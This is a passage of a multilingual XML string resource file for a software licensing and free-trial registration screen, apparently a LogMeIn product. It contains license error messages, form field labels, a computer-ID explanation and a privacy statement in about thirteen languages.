<ru>Эта лицензия была выпущена для другого компьютера и не может использоваться на текущем.
Также возможно, что с момента выпуска данной лицензии изменилась аппаратная конфигурация данного компьютера. В этом случае запросите новую пробную лицензию или перейдите по ссылке, чтобы получить замену.</ru>
<ja>このライセンスは他のコンピュータに対して発行されているため、このコンピュータでは使用できません。ライセンスの発行後に、コンピュータのハードウェア構成が変更されている可能性もあります。この場合は、新しい試用版ライセンスをお申し込みいただくか、%LINK でライセンスを交換をしてください。</ja>
<zh>此许可证颁发给另一计算机,不能用于此计算机。还可能是颁发许可证后,计算机的硬件配置发生了更改。如果是这样,请请求新的试用版许可证或访问 %LINK 进行替换。</zh>
<ko>이 라이센스는 다른 컴퓨터에 대해 발급되었기 때문에 이 컴퓨터에서 사용할 수 없습니다. 또한 컴퓨터의 하드웨어 구성이 라이센스가 발급된 후에 변경되었을 수 있습니다. 이런 경우, 새 평가 라이센스를 요청하거나 %LINK을(를) 방문하여 라이센스를 바꾸십시오.</ko>
<en-gb>This licence was issued for another computer and cannot be used on this one.
It is also possible that the hardware configuration of the computer has changed since the licence was issued. In this case, please request a new trial licence or visit %LINK for a replacement.</en-gb>
<hu>Ezt a licenszet egy másik számítógéphez adták ki, és ezen nem lehet használni.
Az is lehetséges, hogy a számítógép hardver-kiépítése megváltozott, mióta a
licenszet kiadták. Ebben az esetben kérjen egy új próbaverziós licenszet
vagy látogasson el a %LINK címre, hogy lecserélje azt.</hu>
<pt-br>Esta licença foi emitida para outro computador e não pode ser usada neste computador.
Também é possível que a configuração de hardware do computador tenha sido alterada
desde a emissão da licença. Neste caso, solicite uma nova versão de avaliação
ou visite %LINK para obter uma substituição.</pt-br>
<nl>Deze licentie werd verleend aan een andere computer en kan niet op deze computer worden gebruikt. Het is ook mogelijk dat de hardwareconfiguratie van de computer is gewijzigd nadat de licentie is verleend. In dat geval moet u een nieuwe licentie met een proefperiode aanvragen of gaat u naar %LINK om de licentie te vervangen.</nl>
</msg>
<msg name="DISABLED.LICENSE">
<en>This license has been disabled at the request of the distributor. If
you feel that this message is in error, please contact the distributor
or reseller from whom you purchased %PRODUCTNAME.</en>
<de>Diese Lizenz wurde auf Verlangen Ihres Distributors deaktiviert. Wenn Sie z.B.
Ihr Lizenzvolumen erweitern, erhalten Sie eine neue Lizenz und die vorgehende
wird deaktiviert. Im Problemfall kontaktieren Sie bitte den Fachhändler bei dem
Sie %PRODUCTNAME erworben haben.</de>
<es>Esta licencia ha sido deshabilitada a petición del distribuidor. Si
cree que este mensaje es un error, póngase en contacto con el distribuidor
o vendedor a quien adquirió %PRODUCTNAME.</es>
<fr>Cette licence a été désactivée sur demande du distributeur. Si vous estimez
que ce message est erroné, contactez svp le distributeur ou le revendeur
chez qui vous avez acheté %PRODUCTNAME.</fr>
<it>Questa licenza è stata disattivata su richiesta del distributore. Se si ritiene che questo messaggio sia errato, contattare il distributore o il rivenditore presso il quale è stato acquistato %PRODUCTNAME.</it>
<ru>Эта лицензия был блокирована по запросу дистрибьютора. Если данное сообщение является ошибочным, то обратитесь к дистрибьютору или поставщику, у которого был приобретен продукт %PRODUCTNAME.</ru>
<ja>このライセンスは、配布業者の要求により、無効になっています。このメッセージがエラーと思われる場合は、%PRODUCTNAME を購入した配布業者または再販業者に連絡してください。</ja>
<zh>依据发行者的请求,已禁用此许可证。如果您认为此消息出错,请与购买 %PRODUCTNAME 时接触的发行者或分销商联系。</zh>
<ko>이 라이센스는 배포업체의 요청에 따라 사용할 수 없습니다. 메시지에 오류가 있는 것으로 생각되면 %PRODUCTNAME을(를) 구입한 배포업체 또는 대리점에 문의하십시오.</ko>
<en-gb>This licence has been disabled at the request of the distributor. If you feel that this message is in error, please contact the distributor or reseller from whom you purchased %PRODUCTNAME.</en-gb>
<hu>Ezt a licencet a forgalmazó kérésére letiltották. Ha
úgy gondolja, hogy ezt az üzenetet tévesen kapta, kérjük, lépjen kapcsolatba azzal a forgalmazóval 
vagy viszonteladóval, akitől a %PRODUCTNAME terméket megvásárolta.</hu>
<pt-br>Esta licença foi desabilitada na solicitação do distribuidor. Se
achar que esta mensagem é um engano, entre em contato com o distribuidor
ou revendedor com quem adquiriu o %PRODUCTNAME.</pt-br>
<nl>Deze licentie is op verzoek van de verdeler uitgeschakeld. Als u denkt dat dit een vergissing is, neemt u contact op met de verdeler of wederverkoper bij wie u %PRODUCTNAME hebt gekocht.</nl>
</msg>
<msg name="ATTACHMATE.REQUIRED">
<en>This license requires Attachmate Corporation's NetWizard product to be
installed on the computer.</en>
<de>Diese Lizenz erfordert die Installation des "NetWizard"-Produkts der
Attachmate Corp. auf Ihrem Computer.</de>
<es>Esta licencia requiere que se instale en el ordenador el producto NetWizard de
Attachmate Corporation.</es>
<fr>Cette licence nécessite l'installation sur l'ordinateur du produit suivant :
Attachmate Corporation's NetWizard</fr>
<it>Questa licenza richiede l'installazione sul computer di NetWizard di Attachmate Corporation.</it>
<ru>По условия этой лицензии на данном компьютере должен быть установлен продукт NetWizard корпорации Attachmate.</ru>
<ja>このライセンスをこのコンピュータにインストールするには、Attachmate Corporation の NetWizard 製品が必要です。</ja>
<zh>此许可证需要在计算机上安装 Attachmate Corporation 的 NetWizard 产品。</zh>
<ko>이 라이센스를 사용하려면 컴퓨터에 Attachmate Corporation의 NetWizard 제품이 설치되어 있어야 합니다.</ko>
<en-gb>This licence requires Attachmate Corporation's NetWizard product to be installed on the computer.</en-gb>
<hu>Ez a licensz az Attachmate Corporation's NetWizard terméket igényli a
számítógépre való telepítéshez.</hu>
<pt-br>Esta licença requer que o produto Attachmate Corporation's NetWizard esteja
instalado no computador.</pt-br>
<nl>Voor het gebruik van deze licentie moet NetWizard van Attachmate Corporation op de computer zijn geïnstalleerd.</nl>
</msg>
</cat>
<!-- trial registration screen messages -->
<cat name="TRIAL">
<msg name="TITLE">
<en>Free 30 day trial</en>
<de>Kostenlos 30 Tage testen</de>
<es>Periodo de prueba gratuito de 30 días</es>
<fr>Version d'évalutation à 30 jours</fr>
<it>Versione di prova gratuita per 30 giorni</it>
<ru>30-дневный период бесплатного пробного использования</ru>
<ja>30 日間無料の試用版</ja>
<zh>免费试用 30 天</zh>
<ko>30일 무료 평가</ko>
<en-gb>Free 30 day trial</en-gb>
<hu>Ingyenes 30 napos próbaidőszak</hu>
<pt-br>Avaliação gratuita de 30 dias</pt-br>
<nl>Gratis proefperiode van 30 dagen</nl>
</msg>
<msg name="INTROMAIL">
<en>In order to evaluate %PRODUCTNAME you will need to register for a free trial.
Please enter your e-mail address below.</en>
<de>Um %PRODUCTNAME zu testen, müssen sie die Registrierung für Free Trial durchführen. Geben sie bitte ihre Emailadresse ein.</de>
<es>Para evaluar %PRODUCTNAME necesitará registrarse para una prueba gratuita.
Introduzca abajo su dirección de correo electrónico.</es>
<fr>Pour tester %PRODUCTNAME vous devez vous enregistrer pour avoir une version d'évaluation.
Veuillez entrer votre adresse e-mail ci-dessous.</fr>
<it>Per valutare %PRODUCTNAME è necessario registrarsi per una versione di prova gratuita. Immettere l'indirizzo e-mail di seguito.</it>
<ru>Чтобы оценить возможности продукта %PRODUCTNAME, требуется зарегистрироваться для использования данного продукта в течение бесплатного пробного периода.
Укажите ниже адрес своей электронной почты.</ru>
<ja>%PRODUCTNAME を評価するためには、無料試用版を登録をする必要があります。以下に電子メール アドレスを入力してください。</ja>
<zh>为了试用 %PRODUCTNAME,您需要注册免费试用版。请在下面输入您的电子邮件地址。</zh>
<ko>%PRODUCTNAME을(를) 평가하려면 무료 평가판에 등록해야 합니다. 아래에 전자 메일 주소를 입력하십시오.</ko>
<en-gb>In order to evaluate %PRODUCTNAME you will need to register for a free trial.
Please enter your e-mail address below.</en-gb>
<hu>A %PRODUCTNAME kiértékeléséhez regisztrálnia kell az ingyenes próbaverzióra.
Kérjük, az alábbiakban adja meg e-mail címét.</hu>
<pt-br>Para avaliar o %PRODUCTNAME, você deverá registrar-se para obter uma versão de avaliação.
Digite seu endereço de email abaixo.</pt-br>
<nl>Als u %PRODUCTNAME wilt evalueren, moet u zich registreren voor een gratis proefperiode. Voer hieronder uw e-mailadres in.</nl>
</msg>
<msg name="INTRO">
<en>If you're new to %PRODUCTNAME and want to evaluate it, fill out the form
below to request a free 30 day trial. In order to do this your computer must
be connected to the Internet. All fields are required.</en>
<de>Wenn Sie %PRODUCTNAME zum ersten Mal sehen und Sie es ausprobieren
wollen, füllen Sie einfach das Formular aus. Sie können das Produkt 30 Tage
kostenlos testen. Stellen Sie sicher, dass Ihr Computer mit dem Internet
verbunden ist, bevor Sie das Formular abschicken. Wenn Sie bereits eine
Lizenz erworben haben, können Sie das ganz unten angeben.</de>
<es>Si no conoce %PRODUCTNAME y desea probarlo, rellene el siguiente formulario
para pedir una prueba gratuita válida durante 30 días. Para ello, su ordenador debe
estar conectado a Internet. Todos los campos son obligatorios.</es>
<fr>Si vous voyez %PRODUCTNAME pour la première fois et voulez le tester, complétez le formulaire
ci-dessous pour demander une version d'évalutation à 30 jours. Pour
entreprendre cette opération, votre ordinateur doit être connecté à Internet.
Tous les champs sont obligatoires.</fr>
<it>Se si utilizza %PRODUCTNAME per la prima volta e si desidera valutarne l'acquisto, compilare il modulo sottostante per richiedere una versione di prova gratuita per 30 giorni. A tale scopo è necessario che il computer sia connesso a Internet. Tutti i campi sono obbligatori.</it>
<ru>Если при знакомстве с %PRODUCTNAME появляется желание оценить данный продукт, то заполните представленную ниже форму, чтобы сделать запрос на 30-дневный период бесплатного использования продукта. Чтобы сделать такой запрос, компьютер должен быть подключен к Интернету. Кроме того, требуется заполнить все поля.</ru>
<ja>%PRODUCTNAME を使用するのが初めてで、評価をしたい場合は、以下のフォームに入力して 30 日間無料試用版をお申し込みください。申し込みをするには、コンピュータがインターネットに接続している必要があります。すべてのフィールドが必須です。</ja>
<zh>如果您未使用过 %PRODUCTNAME 并想对其进行试用,请填写下表以申请免费试用 30 天。要进行此操作,您的计算机必须连接至 Internet。必须填写所有字段。</zh>
<ko>%PRODUCTNAME을(를) 사용해 본 적이 없어 평가를 하려는 경우, 아래 양식에 30일 무료 평가 요청을 기입하십시오. 이렇게 하려면 컴퓨터가 인터넷에 연결되어 있어야 합니다. 모든 필드를 입력해야 합니다.</ko>
<en-gb>If you are new to %PRODUCTNAME and want to evaluate it, fill out the form below to request a free 30 day trial. In order to do this your computer must be connected to the Internet. All fields are required.</en-gb>
<hu>Ha Ön a %PRODUCTNAME termék új felhasználója, és ki szeretné próbálni azt, akkor töltse ki az alábbi űrlapot,
hogy ingyenes 30 napos próbaidőszakot kérjen. Ehhez a számítógépnek élő Internetes
kapcsolattal kell rendelkeznie. Minden mezőt kötelezően ki kell tölteni.</hu>
<pt-br>Se você for novo no %PRODUCTNAME e desejar avaliá-la, preencha o formulário
abaixo para solicitar uma versão gratuita de 30 dias. Para isso, seu computador deve estar
conectado à Internet. Todos os campos são obrigatórios.</pt-br>
<nl>Als u %PRODUCTNAME nog nooit hebt gebruikt en u dit product wilt evalueren, vult u het onderstaande formulier in om een gratis proefperiode van 30 dagen aan te vragen. Hiervoor moet uw computer met internet zijn verbonden. Alle velden zijn vereist.</nl>
</msg>
<msg name="PRODUCT">
<en>Product Type</en>
<de>Produkttyp</de>
<es>Tipo de producto</es>
<fr>Type de Produit</fr>
<it>Tipo di prodotto</it>
<ru>Тип продукта</ru>
<ja>製品の種類</ja>
<zh>产品类型</zh>
<ko>제품 유형</ko>
<en-gb>Product Type</en-gb>
<hu>Terméktípus</hu>
<pt-br>Tipo de produto</pt-br>
<nl>Producttype</nl>
</msg>
<msg name="PRODUCT.PE">
<en>Personal Edition</en>
<de>Personal Edition</de>
<es>Personal Edition</es>
<fr>Personal Edition</fr>
<it>Personal Edition</it>
<ru>Personal Edition</ru>
<ja>パーソナル エディション</ja>
<zh>个人版</zh>
<ko>Personal 버전</ko>
<en-gb>Personal Edition</en-gb>
<hu>Személyes</hu>
<pt-br>Personal Edition</pt-br>
<nl>Personal Edition</nl>
</msg>
<msg name="PRODUCT.EE">
<en>Workstation Edition</en>
<de>Workstation Edition</de>
<es>Workstation Edition</es>
<fr>Workstation Edition</fr>
<it>Workstation Edition</it>
<ru>Workstation Edition</ru>
<ja>ワークステーション エディション</ja>
<zh>工作站版</zh>
<ko>Workstation 버전</ko>
<en-gb>Workstation Edition</en-gb>
<hu>Munkaállomáshoz</hu>
<pt-br>Workstation Edition</pt-br>
<nl>Workstation Edition</nl>
</msg>
<msg name="PRODUCT.SE">
<en>Server Edition</en>
<de>Server Edition</de>
<es>Server Edition</es>
<fr>Server Edition</fr>
<it>Server Edition</it>
<ru>Server Edition</ru>
<ja>サーバー エディション</ja>
<zh>服务器版</zh>
<ko>Server 버전</ko>
<en-gb>Server Edition</en-gb>
<hu>Kiszolgálóhoz</hu>
<pt-br>Server Edition</pt-br>
<nl>Server Edition</nl>
</msg>
<msg name="PRODUCT.HINT">
<en>Click for a comparison of products.</en>
<de>Für einen Vergleich der Editionen klicken Sie hier.</de>
<es>Haga clic para comparar los productos.</es>
<fr>Cliquez pour obtenir</fr>
<it>Fare clic per un confronto tra i prodotti.</it>
<ru>Щелкните, чтобы сравнить продукты.</ru>
<ja>製品の比較は、ここをクリックしてください。</ja>
<zh>单击可以对产品进行比较。</zh>
<ko>제품을 비교하려면 클릭하십시오.</ko>
<en-gb>Click for a comparison of products.</en-gb>
<hu>Kattintson ide a termékek összehasonlításához.</hu>
<pt-br>Clique aqui para obter uma comparação dos produtos.</pt-br>
<nl>Klik hier voor een vergelijkingstabel van deze producten.</nl>
</msg>
<msg name="EMAIL">
<en>Email address</en>
<de>Emailadresse</de>
<es>Dirección de correo electrónico</es>
<fr>Adresse Email</fr>
<it>Indirizzo e-mail</it>
<ru>Адрес электронной почты</ru>
<ja>電子メール アドレス</ja>
<zh>电子邮件地址</zh>
<ko>전자 메일 주소</ko>
<en-gb>E-mail address</en-gb>
<hu>E-mail cím</hu>
<pt-br>Endereço de email</pt-br>
<nl>E-mailadres</nl>
</msg>
<msg name="NAME">
<en>Full Name</en>
<de>Name</de>
<es>Nombre completo</es>
<fr>Nom complet</fr>
<it>Nome completo</it>
<ru>Полное имя</ru>
<ja>氏名</ja>
<zh>全名</zh>
<ko>전체 이름</ko>
<en-gb>Full Name</en-gb>
<hu>Teljes név</hu>
<pt-br>Nome completo</pt-br>
<nl>Volledige naam</nl>
</msg>
<msg name="FNAME">
<en>First Name</en>
<de>Vorname</de>
<es>Nombre</es>
<fr>Prénom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名</ja>
<zh>名字</zh>
<ko>성</ko>
<en-gb>First Name</en-gb>
<hu>Keresztnév</hu>
<pt-br>Nome</pt-br>
<nl>Voornaam</nl>
</msg>
<msg name="LNAME">
<en>Last Name</en>
<de>Nachname</de>
<es>Apellidos</es>
<fr>Nom de famille</fr>
<it>Cognome</it>
<ru>Фамилия</ru>
<ja>姓</ja>
<zh>姓氏</zh>
<ko>이름</ko>
<en-gb>Last Name</en-gb>
<hu>Vezetéknév</hu>
<pt-br>Sobrenome</pt-br>
<nl>Achternaam</nl>
</msg>
<msg name="PHONE">
<en>Telephone</en>
<de>Telefon</de>
<es>Teléfono</es>
<fr>Téléphone</fr>
<it>Telefono</it>
<ru>Телефон</ru>
<ja>電話番号</ja>
<zh>电话</zh>
<ko>전화</ko>
<en-gb>Telephone</en-gb>
<hu>Telefon</hu>
<pt-br>Telefone</pt-br>
<nl>Telefoonnummer</nl>
</msg>
<msg name="COMPANY">
<en>Organization</en>
<de>Organisation</de>
<es>Organización</es>
<fr>Organisation</fr>
<it>Organizzazione</it>
<ru>Организация</ru>
<ja>組織</ja>
<zh>组织</zh>
<ko>조직</ko>
<en-gb>Organisation</en-gb>
<hu>Szervezet</hu>
<pt-br>Organização</pt-br>
<nl>Organisatie</nl>
</msg>
<msg name="COUNTRY">
<en>Country</en>
<de>Land</de>
<es>País</es>
<fr>Pays</fr>
<it>Paese</it>
<ru>Страна</ru>
<ja>国</ja>
<zh>国家(地区)</zh>
<ko>국가</ko>
<en-gb>Country</en-gb>
<hu>Ország</hu>
<pt-br>País</pt-br>
<nl>Land</nl>
</msg>
<msg name="STATE">
<en>State</en>
<de>Staat</de>
<es>Estado</es>
<fr>Ville</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>都道府県</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>State</en-gb>
<hu>Állapot</hu>
<pt-br>Estado</pt-br>
<nl>Provincie/staat</nl>
</msg>
<msg name="CITY">
<en>City</en>
<de>Ort</de>
<es>Ciudad</es>
<fr>Lieu</fr>
<it>Città</it>
<ru>Город</ru>
<ja>市区町村</ja>
<zh>城市</zh>
<ko>구/군/시</ko>
<en-gb>City</en-gb>
<hu>Város</hu>
<pt-br>Cidade</pt-br>
<nl>Plaats</nl>
</msg>
<msg name="ADDR">
<en>Address</en>
<de>Strasse</de>
<es>Dirección</es>
<fr>Adresse</fr>
<it>Indirizzo</it>
<ru>Адрес</ru>
<ja>住所</ja>
<zh>地址</zh>
<ko>주소</ko>
<en-gb>Address</en-gb>
<hu>Cím</hu>
<pt-br>Endereço</pt-br>
<nl>Adres</nl>
</msg>
<msg name="ZIPCODE">
<en>Postal Code</en>
<de>Postleitzahl</de>
<es>Código postal</es>
<fr>Code Postal</fr>
<it>CAP</it>
<ru>Почтовый индекс</ru>
<ja>郵便番号</ja>
<zh>邮政编码</zh>
<ko>우편 번호</ko>
<en-gb>Postal Code</en-gb>
<hu>Postai irányítószám</hu>
<pt-br>CEP</pt-br>
<nl>Postcode</nl>
</msg>
<msg name="TEL">
<en>Phone Number</en>
<de>Telefonnummer</de>
<es>Número de teléfono</es>
<fr>Numéro de téléphone</fr>
<it>Numero di telefono</it>
<ru>Номер телефона</ru>
<ja>電話番号</ja>
<zh>电话号码</zh>
<ko>전화 번호</ko>
<en-gb>Phone Number</en-gb>
<hu>Telefonszám</hu>
<pt-br>Telefone</pt-br>
<nl>Telefoonnummer</nl>
</msg>
<msg name="FAX">
<en>Fax Number</en>
<de>Faxnummer</de>
<es>Número de fax</es>
<fr>Numéro de fax</fr>
<it>Numero di fax</it>
<ru>Номер факса</ru>
<ja>FAX 番号</ja>
<zh>传真号码</zh>
<ko>팩스 번호</ko>
<en-gb>Fax Number</en-gb>
<hu>Faxszám</hu>
<pt-br>Fax</pt-br>
<nl>Faxnummer</nl>
</msg>
<msg name="SCOPE">
<en>I am evaluating for</en>
<de>Ich teste für</de>
<es>Estoy probándolo para</es>
<fr>Evaluation à usage</fr>
<it>Desidero valutare l'acquisto per</it>
<ru>Оценка выполняется для</ru>
<ja>評価の対象</ja>
<zh>我要试用</zh>
<ko>다음 제품을 평가 중</ko>
<en-gb>I am evaluating for</en-gb>
<hu>A próbaverziót a következő helyen szeretném használni:</hu>
<pt-br>Estou avaliando</pt-br>
<nl>Ik evalueer dit product voor</nl>
</msg>
<msg name="SCOPE.H">
<en>Home</en>
<de>Zu Hause</de>
<es>Inicio</es>
<fr>Uso privado</fr>
<it>Casa</it>
<ru>домашнего использования</ru>
<ja>自宅</ja>
<zh>住宅</zh>
<ko>홈</ko>
<en-gb>Home</en-gb>
<hu>Otthon</hu>
<pt-br>Uso privado</pt-br>
<nl>Gebruik thuis</nl>
</msg>
<msg name="SCOPE.O">
<en>Office</en>
<de>Das Büro</de>
<es>Oficina</es>
<fr>Professionel</fr>
<it>Ufficio</it>
<ru>использования в офисе</ru>
<ja>職場</ja>
<zh>办公室</zh>
<ko>사무실</ko>
<en-gb>Office</en-gb>
<hu>Iroda</hu>
<pt-br>Office</pt-br>
<nl>Gebruik op kantoor</nl>
</msg>
<msg name="HOSTNAME">
<en>Computer name</en>
<de>Computername</de>
<es>Nombre del ordenador</es>
<fr>Nom de l'ordinateur</fr>
<it>Nome computer</it>
<ru>Имя компьютера</ru>
<ja>コンピュータ名</ja>
<zh>计算机名称</zh>
<ko>컴퓨터 이름</ko>
<en-gb>Computer name</en-gb>
<hu>Számítógépnév</hu>
<pt-br>Nome do computador</pt-br>
<nl>Computernaam</nl>
</msg>
<msg name="HOSTID">
<en>Computer ID</en>
<de>Computer-ID</de>
<es>ID del ordenador</es>
<fr>ID de l'ordinateur</fr>
<it>ID computer</it>
<ru>Идентификатор компьютера</ru>
<ja>コンピュータ ID</ja>
<zh>计算机 ID</zh>
<ko>컴퓨터 ID</ko>
<en-gb>Computer ID</en-gb>
<hu>Számítógép azonosítója</hu>
<pt-br>ID do computador</pt-br>
<nl>Computer-ID</nl>
</msg>
<msg name="HOSTID.DESC">
<en>This is an identifier value that %PRODUCTNAME uses to control the number of 
evaluation licenses a single computer can receive. It is generated by passing 
unique data related to your computer configuration through a one-way cryptographic hash 
function. The ID generated with this algorithm does not identify you or any 
component of your computer system; think of it as a unique ticket your 
computer receives.</en>
<de>Das ist ein Schlüsselwert, den %PRODUCTNAME verwendet, um die Anzahl der
Demolizenzen, die ein Computer erhalten kann, zu kontrollieren. Er wird aus
Merkmalen des Computers über einen so genannten "one-way cryptographic hash"
generiert. Ein Schlüsselwert, der mit diesem Algorithmus generiert wird,
identifiziert weder Sie selbst, noch irgendwelche Komponenten des Computers.
Stellen sich einfach eine Eintrittskarte vor, die Ihr Computer erhält.</de>
<es>Éste es un valor identificativo que %PRODUCTNAME utiliza para controlar el número de
licencias de prueba que puede recibir un ordenador. Se genera haciendo pasar
datos únicos relacionados con la configuración de su ordenador a través de una función criptográfica
unidireccional. El ID generado con este algoritmo no lo identifica a usted ni ningún
componente de su sistema; es como una etiqueta única que
recibe su ordenador.</es>
<fr>Ceci est un identificateur que %PRODUCTNAME emploie pour contrôler le nombre de
licence d'évaluation qu'un ordinateur peut recevoir. Elle est générée par une fonction qui utilise
des données de configuration de votre ordinateur et les crypte à l'aide d'autres données
supplémentaires. L'identification générée avec cet algorithme ne vous identifie pas, ni les
composant de votre système informatique; c'est comme si votre ordinateur recevait un ticket unique</fr>
<it>È il valore dell'identificatore utilizzato da %PRODUCTNAME per controllare il numero di licenze di valutazione consentite per un singolo computer. Viene generato passando i dati univoci correlati alla configurazione del computer in una funzione di hash crittografico unidirezionale. L'ID generato con questo algoritmo non identifica l'utente o i componenti del computer ma è da considerare come un contrassegno univoco assegnato al computer.</it>
<ru>Это значение идентификатора, которое %PRODUCTNAME использует, чтобы контролировать число оценочных лицензий, которые могут быть получены отдельным компьютером. Оно генерируется при передаче уникальных данных, связанных с конфигурацией компьютера, посредством односторонней криптографической хэш-функции. Идентификатор, сгенерированный с помощью такого алгоритма, не идентифицирует пользователя или какой-либо компонент вычислительной системы. Его лучше представлять как уникальный билет, получаемый компьютером.</ru>
<ja>これは、1 台のコンピュータが受け取ることができる評価ライセンスの数を制御するために %PRODUCTNAME が使用する ID 値です。これは、一方向の暗号化ハッシュ関数を介してコンピュータ構成に関連する独自のデータを渡すことで作成されます。このアルゴリズムで作成された ID は、コンピュータの所有者およびコンピュータ システムのコンポーネントを識別しません。これは、コンピュータが受け取る固有のチケットのようなものです。</ja>
<zh>此为 %PRODUCTNAME 用于控制单个计算机可以接收的试用版许可证数目的标识符值。通过使用单向加密散列函数传递与计算机配置相关的唯一数据来生成此标识符值。由此算法生成的 ID 并不标识您或计算机系统的任何组件;请将其看作您计算机收到的唯一标签。</zh>
<ko>이것은 단일 컴퓨터가 수신할 수 있는 평가 라이센스 수를 제어하기 위해 %PRODUCTNAME에서 사용하는 식별자 값입니다. 한방향 암호화 해시 기능을 통해 컴퓨터 구성에 대한 고유 데이터를 전달하면 이 값이 생성됩니다. 이 알고리즘으로 생성된 ID는 사용자 또는 컴퓨터 시스템의 구성 요소를 식별하지 않으므로, 이 ID는 컴퓨터에서 수신하는 고유한 티켓으로 간주해야 합니다.</ko>
<en-gb>This is an identifier value that %PRODUCTNAME uses to control the number of evaluation licences a single computer can receive. It is generated by passing unique data related to your computer configuration through a one-way cryptographic hash function. The ID generated with this algorithm does not identify you or any component of your computer system; think of it as a unique ticket your computer receives.</en-gb>
<hu>Ez az az azonosító érték, amelyet a %PRODUCTNAME a próbalicenszek számának 
ellenőrzéséhez használ, amelyeket egy egyedi számítógép kaphat. Ezt olyan módon áll elő, hogy az Ön 
számítógép-konfigurációjához kapcsolódó egyedi adatokat egy egyutas, titkosított hash függvényen 
futtatják át. Az algoritmussal létrehozott azonosító nem azonosítja Önt, vagy a számítógép 
bármely összetevőjét; fogja fel úgy, mintha ez egy egyedi jegy lenne, amely 
az Ön számítógépére szól.</hu>
<pt-br>Este é um valor identificador que o %PRODUCTNAME usa para controlar o número de 
licenças de avaliação que um único computador pode receber. Ele é gerado passando
os dados exclusivos relacionados à configuração do seu computador por meio de uma função hash criptográfica 
unidirecional. A ID gerada com este algoritmo não identifica você nem nenhum
componente do seu sistema de computador; pense nisso como um bilhete único
recebido pelo seu computador.</pt-br>
<nl>Dit is een identificatiewaarde die door %PRODUCTNAME wordt gebruikt ter controle van het aantal evaluatielicenties die aan één computer kunnen worden toegewezen. Deze waarde wordt gegenereerd op basis van unieke gegevens van uw computerconfiguratie door middel van een eenzijdige cryptografische bewerking. De identificatiewaarde die met dit algoritme wordt gegenereerd, kan niet worden gebruikt om u of uw computersysteem te herkennen; u kunt dit beschouwen als een uniek toegangsticket dat aan uw computer wordt verstrekt.</nl>
</msg>
<msg name="OK">
<en>Your request for a free trial has been received and approved.</en>
<de>Die Anforderung zum kostenlosen Testen wurde empfangen und bestätigt.</de>
<es>Su petición de una prueba gratuita ha sido recibida y aprobada.</es>
<fr>Votre demande d'une épreuve libre a été reçue et approuvée.</fr>
<it>La richiesta di una versione di prova gratuita è stata ricevuta e approvata.</it>
<ru>Запрос на бесплатную пробную версию получен и одобрен.</ru>
<ja>無料試用版の申し込みが受理され、承認されました。</ja>
<zh>我们已收到并批准了您对免费试用版的请求。</zh>
<ko>무료 평가판 요청이 수신된 후 승인되었습니다.</ko>
<en-gb>Your request for a free trial has been received and approved.</en-gb>
<hu>Az Ön ingyenes próbaverzióra vonatkozó kérése beérkezett és elfogadásra került.</hu>
<pt-br>Sua solicitação de uma versão de avaliação foi recebida e aprovada.</pt-br>
<nl>Uw aanvraag voor een gratis proefperiode is goed ontvangen en werd goedgekeurd.</nl>
</msg>
<msg name="EXPIRED">
<en>Your %PRODUCTNAME license has expired</en>
<de>Die %PRODUCTNAME Lizenz ist abgelaufen</de>
<es>Su licencia de %PRODUCTNAME ha caducado.</es>
<fr>Votre licence %PRODUCTNAME a expirée</fr>
<it>La licenza di %PRODUCTNAME %d è scaduta</it>
<ru>Истек срок действия лицензии на %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME ライセンスの有効期限が切れています</ja>
<zh>您的 %PRODUCTNAME 许可证已过期</zh>
<ko>사용자의 %PRODUCTNAME 라이센스가 만료되었습니다</ko>
<en-gb>Your %PRODUCTNAME licence has expired</en-gb>
<hu>Az Ön licensze a %PRODUCTNAME termékhez lejárt</hu>
<pt-br>A licença do %PRODUCTNAME expirou</pt-br>
<nl>Uw %PRODUCTNAME-licentie is verstreken</nl>
</msg>
</cat>
<!-- privacy statement for trial registration screen -->
<msg name="PRIVACY.TITLE">
<en>Privacy Statement</en>
<de>Privacy Statement</de>
<es>Declaración de Privacidad</es>
<fr>Respect de la sphère privé</fr>
<it>Informativa sulla privacy</it>
<ru>Заявление о конфиденциальности</ru>
<ja>個人情報の保護について</ja>
<zh>保密声明</zh>
<ko>개인정보 정책</ko>
<en-gb>Privacy Statement</en-gb>
<hu>Titoktartási nyilatkozat</hu>
<pt-br>Declaração de privacidade</pt-br>
<nl>Privacyverklaring</nl>
</msg>
<msg name="PRIVACY.TEXT">
<en>LogMeIn, Inc. will not reveal any personal information that 
you provide to us to any non-affiliated party without your permission. Upon 
request, LogMeIn, Inc. will remove your information from our database to permit you 
to "opt-out" of any email contacts.</en>
<de>LogMeIn, Inc. will not reveal any personal information that 
you provide to us to any non-affiliated party without your permission. Upon 
request, LogMeIn, Inc. will remove your information from our database to permit you 
to "opt-out" of any e-mail contacts.</de>
<es>LogMeIn, Inc. no revelará ninguna información personal que 
nos ofrezca a terceros sin que usted lo apruebe. A petición
suya, LogMeIn, Inc. eliminará su información de nuestra base de datos para que usted
deje de recibir correos electrónicos.</es>
<fr>LogMeIn, Inc. ne transmettra aucune information personnelle que
vous lui fournirez à une quelconque partie non affiliée sans votre consentement. 
Sur demande, LogMeIn, Inc. supprimera vos informations de notre base de données.</fr>
<it>LogMeIn, Inc. non rivelerà alcuna informazione personale fornita dall'utente a parti non consociate senza l'autorizzazione dell'utente stesso. Su richiesta, LogMeIn, Inc. rimuoverà dal proprio database le informazioni fornite per consentire all'utente di essere escluso dai contatti e-mail.</it>
<ru>LogMeIn, Inc. не будет раскрывать любую личную информацию, предоставленную пользователем, сторонним организациям без его разрешения. По запросу пользователя компания LogMeIn, Inc удаляет его информацию из своей базы данных и перестает отправлять ему любые сообщения по электронной почте.</ru>
<ja>LogMeIn, Inc. は、お客様の許可なく、お知らせいただいた個人情報を関連会社を除く第三者に開示することはありません。ご要望があれば、LogMeIn, Inc. は、お客様の情報を弊社のデータベースから削除することで、電子メール配信に対する「オプトアウト」に応じます。</ja>
<zh>未经您许可,LogMeIn, Inc. 不会向任何非附属组织透漏您提供给我们的任何个人信息。请求后,LogMeIn, Inc. 将从我们的数据库中删除您的信息,以允许您“选择删除”任何电子邮件联系人。</zh>
<ko>LogMeIn, Inc.은 당사에 제공한 사용자의 개인 정보를 
사용자의 허가 없이 비협력 업체에게 공개하지 않습니다. LogMeIn, Inc.은 "옵트아웃" 방식으로 전자 메일을 발송하고 있는 데, 요청이 있을 경우에는 당사의 데이터베이스에서 사용자의 정보를 제거합니다.</ko>
